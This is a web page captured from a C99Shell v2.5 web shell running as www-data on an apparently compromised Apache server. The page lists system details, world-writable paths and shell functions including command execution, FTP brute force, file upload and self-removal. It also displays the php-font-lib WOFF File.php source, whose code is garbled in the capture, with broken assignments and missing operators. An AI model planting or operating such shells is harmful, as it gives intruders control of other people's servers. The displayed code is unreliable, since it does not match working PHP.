!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/phenx/php-font-lib/src/FontLib/WOFF/   drwxrwxrwx
Free 13.34 GB of 57.97 GB (23.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     File.php (1.93 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package php-font-lib
 * @link    https://github.com/PhenX/php-font-lib
 * @author  Fabien Ménager <fabien.menager@gmail.com>
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\WOFF;

use 
FontLib\Table\DirectoryEntry;

/**
 * WOFF font file.
 *
 * @package php-font-lib
 *
 * @property TableDirectoryEntry[] $directory
 */
class File extends \FontLib\TrueType\File {
  function 
parseHeader() {
    if (!empty(
$this->header)) {
      return;
    }

    
$this->header = new Header($this);
    
$this->header->parse();
  }

  public function 
load($file) {
    
parent::load($file);

    
$this->parseTableEntries();
    
$dataOffset $this->pos() + count($this->directory) * 20;

    
$fw $this->getTempFile(false);
    
$fr $this->f;

    
$this->$fw;
    
$offset  $this->header->encode();

    foreach (
$this->directory as $entry) {
      
// Read ...
      
$this->$fr;
      
$this->seek($entry->offset);
      
$data $this->read($entry->length);

      if (
$entry->length $entry->origLength) {
        
$data gzuncompress($data);
      }

      
// Prepare data ...
      
$length        strlen($data);
      
$entry->length $entry->origLength $length;
      
$entry->offset $dataOffset;

      
// Write ...
      
$this->$fw;

      
// Woff Entry
      
$this->seek($offset);
      
$offset += $this->write($entry->tag4); // tag
      
$offset += $this->writeUInt32($dataOffset); // offset
      
$offset += $this->writeUInt32($length); // length
      
$offset += $this->writeUInt32($length); // origLength
      
$offset += $this->writeUInt32(DirectoryEntry::computeChecksum($data)); // checksum

      // Data
      
$this->seek($dataOffset);
      
$dataOffset += $this->write($data$length);
    }

    
$this->$fw;
    
$this->seek(0);

    
// Need to re-parse this, don't know why
    
$this->header    null;
    
$this->directory = array();
    
$this->parseTableEntries();
  }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--